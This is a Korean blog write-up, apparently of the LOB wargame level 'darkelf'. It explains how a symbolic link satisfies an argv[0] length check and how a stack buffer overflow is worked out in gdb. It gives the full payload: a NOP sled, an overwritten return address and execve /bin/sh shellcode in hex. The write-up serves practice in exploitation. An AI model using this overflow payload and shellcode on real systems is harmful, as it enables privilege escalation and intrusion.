본문 바로가기
wargame/LOB

[포너블] LOB 7 - darkelf

by 아메리카노와떡볶이 2021. 10. 3.
728x90
LOB 7 - darkelf write up

darkelf write up 입니다.

 

here is changed 라고 친절하게 바뀐 부분을 알려준다

argv[0] 의 길이를 77로 만들지 않으면 에러를 출력한다.

 

우선 아까문제처럼 argv[2] 를 통해 공격을 수행하는거 같은데

argv[0]에는 내가 실행한 파일이름이 들어가는 것으로 알고 있다.

근데 이 길이를 77글자로 만들라는 것은 파일이름의 길이를 77글자로 만들라는 것인가?

그냥 잘 모르겠어서 바로 검색하기로 결심했다

 

서치결과 심볼릭 링크를 사용해서 해결할 수 있는 문제였다. 즉 쉽게 말하면 원본파일의 바로가기를 만들어서

바로가기 파일의 길이를 77자로 만들어주면 되는 것이다. 

이거만 해결하면 바로 직전 문제와 다를게 없으므로 바로 해결해보자.

 

< 심볼릭링크에 대해서 참고한 글 >

https://jhnyang.tistory.com/269

 

[리눅스, 유닉스] 파일링크 ln 명령어- 심볼릭 링크(소프트링크)와 하드링크 원리, I-node 아이노드

[리눅스/ 유닉스 완전정복 목차 모음] 안녕하세요! 주인장 양햄찌입니다. 오늘은 파일 링크에 대해서 알아보는 시간을 가질거예요. 목차 1. 파일 링크란 무엇인가? 2. 파일 링크 왜 쓰나? 필요한

jhnyang.tistory.com

[darkelf@localhost TMP]$ ln -s orge `perl -e 'print "B"x59'`
[darkelf@localhost TMP]$ ls
0  BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB  orge

먼저 orge 의 바로가기를 만들어준다. 이때 77개가 아니라 59개의 B를 추가해주는 이유는 파일 앞의 /home/darkelf/tmp/ 의 길이가 18 이기때문이다.

 

그리고 59개의 B를 복사한뒤에 gdb로 방금 만든 링크를 열어보자.

 

 

 

strcpy의 다음 지점에서 브레이크를 걸고 아까와 같은 방식으로 두개의 입력을 넣어준다.

argv[1] : `python -c 'print "A" * 47 + "\xbf" '`
argv[2] : `python -c 'print "B" * 100 '`
payload : r `python -c 'print "A" * 47 + "\xbf" '` `python -c 'print "B" * 100 '`

 

 

0xbffffb54 정도를 argv[2]의 주소로 주면 될 것 같다.

그리고 원본파일에 공격할때는 링크파일의 길이를 다르게해야한다.   [ ./ ]  2글자와 75개의 문자값으로 길이를 맞춰주면 된다.

[darkelf@localhost darkelf]$ ln -s orge `python -c 'print "A"*75'`
[darkelf@localhost darkelf]$ ls
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
TMP
orge
orge.c

아까와 같이 심볼릭링크를 만들고

 

아래와 같이 페이로드를 작성한다.

argv[0] : ./ + 75개의 A
argv[1] : `python -c 'print "A" * 44 + "\x54\xfb\xff\xbf" '`
argv[2] : `python -c 'print "\x90" * 500 +"\x34\xfb\xff\xbf" + "\x90"*500+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" '`
 
payload :
./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `python -c 'print "A" * 44 + "\x54\xfb\xff\xbf" '` `python -c 'print "\x90" * 500 +"\x34\xfb\xff\xbf" + "\x90"*500+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" '`

성공 !

728x90

'wargame > LOB' 카테고리의 다른 글

[포너블] LOB 9 - troll  (0) 2021.10.03
[포너블] LOB 8 - orge  (0) 2021.10.03
[포너블] LOB 6 - wolfman  (0) 2021.09.30
[포너블] LOB 5 - orc  (0) 2021.09.30
[포너블] LOB 4 - goblin  (0) 2021.09.30

댓글